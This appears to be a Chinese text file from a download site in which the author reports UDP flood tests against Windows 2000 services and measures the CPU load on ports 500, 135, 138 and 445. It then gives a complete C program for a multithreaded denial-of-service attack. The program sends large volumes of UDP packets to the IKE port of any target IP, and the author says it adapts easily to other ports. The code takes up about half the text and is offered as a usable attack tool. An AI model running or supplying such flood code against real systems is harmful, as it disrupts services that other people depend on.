⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 win2k在udp的flood方面抵抗表现逊色.txt

📁 可以对黑客编程有一定的了解
💻 TXT
字号:
WIN2K在UDP的FLOOD方面抵抗表现逊色
    去年,我写了个用UDP对SQL SERVER进行DOS的,最近对一系列WIN2K监听的端口都进行了UDP的
Flood测试,对这些UDP端口发送大量的UDP数据包(比较大),发现很多都能够消耗CPU。

    (测试目标:PIII 1G)

    其中IKE的500端口能够消耗到90%以上,135端口也能够消耗50%以上。而138和445小一些,一般
会让CPU消耗提高30%左右。

    IKE(Internet Key Exchange)的UDP协议DOS问题,在去年12月份SecuriTeam上就公布过。IKE的
攻击最逊色,测试中即使暂停发送数据包,CPU占用也居高不下。

    即使对WIN2K不监听的任意UDP端口进行Flood,也能提高CPU消耗。

    虽然这样的攻击对系统没有什么破坏性,而且停止发送后CPU也就恢复,但是很明显表明在抵抗
UDP的FLOOD攻击方面,WIN2K系统并不好。

    下面是一个简单的IKE DOS程序,也很容易改为对付其他端口的。

#include <stdio.h>
#include <windows.h>
#include <process.h>

#pragma comment (lib, "ws2_32.lib")

#define IKE_UDP_PORT 500

void IKEDOSThread(void* Target);

int main(int argc, char* argv[])
{
	WSADATA WSAData;

	if (argc < 2 )
	{
		printf ("input targetip!\n");
		return 0;
	}

	if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
	{
		printf("WSA Error!\n");
		return 0;
	}

	Sleep(500);
	printf ("DOS Starting......\n");
	for (int i =0 ; i < 20; i++)
	{
		_beginthread(IKEDOSThread, 0, (void*) argv[1]);
	}

	Sleep(100000);

	WSACleanup();
	return 0;
}

void IKEDOSThread(void* Target)
{
	SOCKET sock;
	SOCKADDR_IN addr_in;
	int nRetCode;
	char* pBuffer;
	int nBufferSize = 1024;

	pBuffer = (char*) malloc(nBufferSize);
	FillMemory(pBuffer, nBufferSize, 'A');

	sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (sock == INVALID_SOCKET)
	{
		printf ("socket error!\n");
		return;
	}

	addr_in.sin_family = AF_INET;
	addr_in.sin_port = htons(IKE_UDP_PORT);
	addr_in.sin_addr.S_un.S_addr = inet_addr((char*)Target);


	for ( int i =0 ; i <= 50000; i++)
	{
		nRetCode = sendto(sock, pBuffer, nBufferSize, 0, (LPSOCKADDR)&addr_in, sizeof(addr_in));
		if (nRetCode == SOCKET_ERROR)
		{
			printf ("Send error!\n");
//			return 0;
		}
	}
	closesocket(sock);
	free(pBuffer);
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -